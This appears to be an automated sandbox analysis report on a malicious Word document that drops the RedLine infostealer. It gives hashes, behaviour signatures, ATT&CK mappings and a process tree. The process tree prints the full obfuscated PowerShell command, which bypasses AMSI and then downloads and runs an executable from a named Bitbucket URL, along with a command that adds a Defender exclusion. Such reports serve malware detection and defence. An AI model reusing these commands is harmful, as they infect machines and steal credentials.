Analysis

  • max time kernel
    149s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    11-05-2021 00:02

General

  • Target

    02c83f52_by_Libranalysis.doc

  • Size

    50KB

  • MD5

    02c83f5255f43a2fae36ceb88223599e

  • SHA1

    81d3a39a081d3e8d590cf911635b38fca967901a

  • SHA256

    3905f32293f0f6bb16fae72b8e80e124408079824fc9b2c76c03068947f07f46

  • SHA512

    f978c90c97bd3207a559c2b57b98215d1a373bdc40a9f4e1857413291c43f3cde6219e34512b5130757d6dbe323b69e74e4eefd58b87aa885725debd804f7a2e

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://bitbucket.org/tanake5518/fi/downloads/r1o.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • Turns off Windows Defender SpyNet reporting 2 TTPs
  • Windows security bypass 2 TTPs
  • Nirsoft 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 10 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 37 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\02c83f52_by_Libranalysis.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2840
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $wIKxpp=@(91,100,111,117,98,108,101,93,36,111,115,118,101,114,32,61,32,91,115,116,114,105,110,103,93,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,97,106,111,114,32,43,32,39,46,39,32,43,32,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,105,110,111,114,59,105,102,32,40,36,111,115,118,101,114,32,45,103,101,32,49,48,46,48,41,32,123,101,99,104,111,32,87,105,110,100,111,119,115,49,48,59,36,84,81,78,61,91,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,46,77,97,114,115,104,97,108,93,58,58,65,108,108,111,99,72,71,108,111,98,97,108,40,40,49,50,52,55,48,45,51,51,57,52,41,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,99,72,65,82,93,40,91,66,121,116,101,93,48,120,52,49,41,43,91,99,72,97,82,93,40,91,66,89,84,69,93,48,120,54,68,41,43,91,67,72,97,114,93,40,91,98,89,84,69,93,48,120,55,51,41,43,91,67,104,65,114,93,40,91,98,121,116,69,93,48,120,54,57,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,67,72,97,82,93,40,91,98,89,116,101,93,48,120,54,49,41,43,91,67,104,97,82,93,40,91,98,89,84,101,93,48,120,54,68,41,43,91,67,104,97,82,93,40,49,52,56,45,51,51,41,43,91,99,72,65,114,93,40,49,48,53,41,41,83,101,115,115,105,111,110,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,36,110,117,108,108,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,99,72,65,82,93,40,91,66,121,116,101,93,48,120,52,49,41,43,91,99,72,97,82,93,40,91,66,89,84,69,93,48,120,54,68,41,43,91,67,72,97,114,93,40,91,98,89,84,69,93,48,120,55,51,41,43,91,67,104,65,114,93,40,91,98,121,116,69,93,48,120,54,57,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,67,72,97,82,93,40,91,98,89,116,101,93,48,120,54,49,41,43,91,67,104,97,82,93,40,91,98,89,84,101,93,48,120,54,68,41,43,91,67,104,97,82,93,40,49,52,56,45,51,51,41,43,91,99,72,65,114,93,40,49,48,53,41,41,67,111,110,116,101,120,116,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,91,73,110,116,80,116,114,93,36,84,81,78,41,59,125,101,108,115,101,32,123,125,59,36,99,108,105,101,110,116,32,61,32,110,101,119,45,111,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,59,36,97,32,61,32,39,104,116,116,112,115,58,47,47,98,105,116,98,117,99,107,101,116,46,111,114,103,47,116,97,110,97,107,101,53,53,49,56,47,102,105,47,100,111,119,110,108,111,97,100,115,47,114,49,111,46,101,120,101,39,46,83,112,108,105,116,40,39,44,39,41,59,36,104,117,97,115,32,61,32,36,101,110,118,58,116,101,109,112,32,43,32,39,92,97,113,116,101,116,113,110,119,117,46,101,120,101,39,59,102,111,114,101,97,99,104,40,36,98,32,105,110,32,36,97,41,123,116,114,121,123,36,99,108,105,101,110,116,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,46,84,111,83,116,114,105,110,103,40,41,44,32,36,104,117,97,115,41,59,73,110,118,111,107,101,45,73,116,101,109,40,36,104,117,97,115,41,59,98,114,101,97,107,59,125,99,97,116,99,104,123,119,114,105,116,101,45,104,111,115,116,32,36,95,46,69,120,99,101,112,116,105,111,110,46,77,101,115,115,97,103,101,125,125,59);[System.Text.Encoding]::ASCII.GetString($wIKxpp)|&('I'+'EX');
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2764
      • C:\Users\Admin\AppData\Local\Temp\aqtetqnwu.exe
        "C:\Users\Admin\AppData\Local\Temp\aqtetqnwu.exe"
        3⤵
        • Executes dropped EXE
        • Windows security modification
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2444
        • C:\Users\Admin\AppData\Local\Temp\7314899a-ba83-419c-a60a-c3e4373922d8\AdvancedRun.exe
          "C:\Users\Admin\AppData\Local\Temp\7314899a-ba83-419c-a60a-c3e4373922d8\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7314899a-ba83-419c-a60a-c3e4373922d8\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3948
          • C:\Users\Admin\AppData\Local\Temp\7314899a-ba83-419c-a60a-c3e4373922d8\AdvancedRun.exe
            "C:\Users\Admin\AppData\Local\Temp\7314899a-ba83-419c-a60a-c3e4373922d8\AdvancedRun.exe" /SpecialRun 4101d8 3948
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2244
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\aqtetqnwu.exe" -Force
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3988
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c timeout 1
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4040
          • C:\Windows\SysWOW64\timeout.exe
            timeout 1
            5⤵
            • Delays execution with timeout.exe
            PID:976
        • C:\Users\Admin\AppData\Local\Temp\aqtetqnwu.exe
          "C:\Users\Admin\AppData\Local\Temp\aqtetqnwu.exe"
          4⤵
          • Executes dropped EXE
          PID:3844
        • C:\Users\Admin\AppData\Local\Temp\aqtetqnwu.exe
          "C:\Users\Admin\AppData\Local\Temp\aqtetqnwu.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2336
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2444 -s 1656
          4⤵
          • Drops file in Windows directory
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3044

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Disabling Security Tools

3
T1089

Modify Registry

3
T1112

Credential Access

Credentials in Files

2
T1081

Discovery

Query Registry

3
T1012

System Information Discovery

3
T1082

Collection

Data from Local System

2
T1005

Command and Control

Web Service

1
T1102

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    MD5

    d2a470345acc2e69bb9d503abcb8e66b

    SHA1

    cf70781ec3cd220cd472b751dd59ede2b1d9e320

    SHA256

    976d5ab394c9e552abb3067bcf79bfb67459bdfeaa9310b61f11605dcd9e44b7

    SHA512

    43abcfba4572dc8138fb7bfc94347154076d16e15c6c8ed9bb9d7ad7cc860e6dfe91536a4a8f771707e887b4715e94b840a8b5cfcf1fab60010e35dd60ee9b0a

  • C:\Users\Admin\AppData\Local\Temp\7314899a-ba83-419c-a60a-c3e4373922d8\AdvancedRun.exe
    MD5

    17fc12902f4769af3a9271eb4e2dacce

    SHA1

    9a4a1581cc3971579574f837e110f3bd6d529dab

    SHA256

    29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

    SHA512

    036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

  • C:\Users\Admin\AppData\Local\Temp\7314899a-ba83-419c-a60a-c3e4373922d8\AdvancedRun.exe
    MD5

    17fc12902f4769af3a9271eb4e2dacce

    SHA1

    9a4a1581cc3971579574f837e110f3bd6d529dab

    SHA256

    29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

    SHA512

    036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

  • C:\Users\Admin\AppData\Local\Temp\7314899a-ba83-419c-a60a-c3e4373922d8\AdvancedRun.exe
    MD5

    17fc12902f4769af3a9271eb4e2dacce

    SHA1

    9a4a1581cc3971579574f837e110f3bd6d529dab

    SHA256

    29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

    SHA512

    036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

  • C:\Users\Admin\AppData\Local\Temp\aqtetqnwu.exe
    MD5

    c71735c5ec39ab472178ab89a3ee7d35

    SHA1

    5be49cf757e37dd3973bf836413a9a37a3518ad8

    SHA256

    2338fcb4421c49d3f357db82478b5ab01429e2bb4bb59e0feb2331ce53863b2a

    SHA512

    3a364e80816feea717dcb3ad0d6f40755618884782c19a54e463865fc17966658358769ec21811bfa04c51c4728a176f7f1d8cb2ba0436fd9f6ca7b74151f20b

  • C:\Users\Admin\AppData\Local\Temp\aqtetqnwu.exe
    MD5

    c71735c5ec39ab472178ab89a3ee7d35

    SHA1

    5be49cf757e37dd3973bf836413a9a37a3518ad8

    SHA256

    2338fcb4421c49d3f357db82478b5ab01429e2bb4bb59e0feb2331ce53863b2a

    SHA512

    3a364e80816feea717dcb3ad0d6f40755618884782c19a54e463865fc17966658358769ec21811bfa04c51c4728a176f7f1d8cb2ba0436fd9f6ca7b74151f20b

  • C:\Users\Admin\AppData\Local\Temp\aqtetqnwu.exe
    MD5

    c71735c5ec39ab472178ab89a3ee7d35

    SHA1

    5be49cf757e37dd3973bf836413a9a37a3518ad8

    SHA256

    2338fcb4421c49d3f357db82478b5ab01429e2bb4bb59e0feb2331ce53863b2a

    SHA512

    3a364e80816feea717dcb3ad0d6f40755618884782c19a54e463865fc17966658358769ec21811bfa04c51c4728a176f7f1d8cb2ba0436fd9f6ca7b74151f20b

  • C:\Users\Admin\AppData\Local\Temp\aqtetqnwu.exe
    MD5

    c71735c5ec39ab472178ab89a3ee7d35

    SHA1

    5be49cf757e37dd3973bf836413a9a37a3518ad8

    SHA256

    2338fcb4421c49d3f357db82478b5ab01429e2bb4bb59e0feb2331ce53863b2a

    SHA512

    3a364e80816feea717dcb3ad0d6f40755618884782c19a54e463865fc17966658358769ec21811bfa04c51c4728a176f7f1d8cb2ba0436fd9f6ca7b74151f20b

  • memory/976-194-0x0000000000000000-mapping.dmp
  • memory/2244-190-0x0000000000000000-mapping.dmp
  • memory/2336-198-0x00000000004163D2-mapping.dmp
  • memory/2336-201-0x0000000004E80000-0x0000000005486000-memory.dmp
    Filesize

    6.0MB

  • memory/2444-183-0x0000000000000000-mapping.dmp
  • memory/2444-186-0x0000000006FE0000-0x0000000006FE1000-memory.dmp
    Filesize

    4KB

  • memory/2764-179-0x0000000000000000-mapping.dmp
  • memory/2764-181-0x00000204EE0F3000-0x00000204EE0F5000-memory.dmp
    Filesize

    8KB

  • memory/2764-182-0x00000204EE0F6000-0x00000204EE0F8000-memory.dmp
    Filesize

    8KB

  • memory/2764-180-0x00000204EE0F0000-0x00000204EE0F2000-memory.dmp
    Filesize

    8KB

  • memory/2840-123-0x00007FFFD7C90000-0x00007FFFD9B85000-memory.dmp
    Filesize

    31.0MB

  • memory/2840-114-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp
    Filesize

    64KB

  • memory/2840-122-0x000001FEC80B0000-0x000001FEC919E000-memory.dmp
    Filesize

    16.9MB

  • memory/2840-119-0x00007FFFDEF70000-0x00007FFFE1A93000-memory.dmp
    Filesize

    43.1MB

  • memory/2840-118-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp
    Filesize

    64KB

  • memory/2840-117-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp
    Filesize

    64KB

  • memory/2840-116-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp
    Filesize

    64KB

  • memory/2840-115-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp
    Filesize

    64KB

  • memory/3948-187-0x0000000000000000-mapping.dmp
  • memory/3988-196-0x0000000000FD2000-0x0000000000FD3000-memory.dmp
    Filesize

    4KB

  • memory/3988-195-0x0000000000FD0000-0x0000000000FD1000-memory.dmp
    Filesize

    4KB

  • memory/3988-192-0x0000000000000000-mapping.dmp
  • memory/3988-202-0x000000007F710000-0x000000007F711000-memory.dmp
    Filesize

    4KB

  • memory/3988-203-0x0000000000FD3000-0x0000000000FD4000-memory.dmp
    Filesize

    4KB

  • memory/4040-193-0x0000000000000000-mapping.dmp